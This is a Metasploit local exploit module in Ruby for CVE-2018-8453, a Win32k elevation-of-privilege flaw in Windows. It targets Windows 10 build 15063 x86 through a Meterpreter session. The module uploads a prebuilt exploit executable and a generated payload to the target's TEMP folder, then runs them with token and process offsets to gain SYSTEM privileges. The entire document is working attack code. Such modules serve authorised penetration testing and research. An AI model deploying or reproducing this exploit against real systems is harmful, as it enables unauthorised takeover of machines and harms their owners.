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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ManualRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Windows NtUserSetWindowFNID Win32k User Callback',  
'Description' => %q{  
An elevation of privilege vulnerability exists in Windows when the Win32k component  
fails to properly handle objects in memory, aka "Win32k Elevation of Privilege Vulnerability."  
This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows  
Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2,  
Windows 10, Windows 10 Servers.  
  
This module is tested against Windows 10 v1703 x86.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'ze0r', # Exploit analysis and PoC  
'Kaspersky Lab', # Vulnerability discovery/detection  
'Jacob Robles' # Metasploit module  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Targets' => [  
[ 'Windows 10 v1703 (Build 15063) x86', {  
'UniqueProcessIdOffset' => 180,  
'TokenOffset' => 252,  
'Version' => 'Windows 10 (Build 15063)'  
}  
]  
],  
'References' => [  
['CVE', '2018-8453'],  
['URL', 'https://github.com/ze0r/cve-2018-8453-exp'],  
['URL', 'https://mp.weixin.qq.com/s/ogKCo-Jp8vc7otXyu6fTig'],  
['URL', 'https://mp.weixin.qq.com/s/dcbUeegM0BqErtDufOXfoQ'],  
['URL', 'https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/'],  
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453']  
],  
'Notes' => {  
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],  
'Stability' => [CRASH_OS_RESTARTS]  
},  
'DisclosureDate' => '2018-10-09',  
'DefaultTarget' => 0  
))  
end  
  
def target_info  
fail_with(Failure::None, 'Session is already elevated') if is_system?  
  
unless sysinfo['OS'].start_with?(target['Version']) && sysinfo['Architecture'] == 'x86'  
fail_with(Failure::NoTarget, 'Target is not compatible with exploit')  
end  
end  
  
def write_file_to_target(fname, data)  
tempdir = session.sys.config.getenv('TEMP')  
file_loc = "#{tempdir}\\#{fname}"  
vprint_warning("Attempting to write #{fname} to #{tempdir}")  
write_file(file_loc, data)  
vprint_good("#{fname} written")  
file_loc  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful")  
end  
  
def exploit  
target_info  
exe_name = 'CVE-2018-8453.exe'  
exe_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8453', exe_name)  
vprint_status("Reading payload from file #{exe_path}")  
raw = File.read(exe_path)  
  
tmp_exe = "#{Rex::Text.rand_text_alphanumeric(10)}.exe"  
vprint_status("Uploading exploit exe as: #{tmp_exe}")  
exe_rpath = write_file_to_target(tmp_exe, raw)  
register_file_for_cleanup(exe_rpath)  
  
tmp_payload = "#{Rex::Text.rand_text_alpha(6..14)}.exe"  
payload_rpath = write_file_to_target(tmp_payload, generate_payload_exe)  
vprint_status("Uploading payload #{tmp_payload}")  
register_file_for_cleanup(payload_rpath)  
  
command = "\"#{exe_rpath}\" \"#{payload_rpath}\" #{target['UniqueProcessIdOffset']} #{target['TokenOffset']}"  
  
vprint_status("Executing command: #{command}")  
session.sys.process.execute(command, nil, {'Hidden' => false})  
print_good('Exploit finished, wait for privileged payload execution to complete.')  
end  
end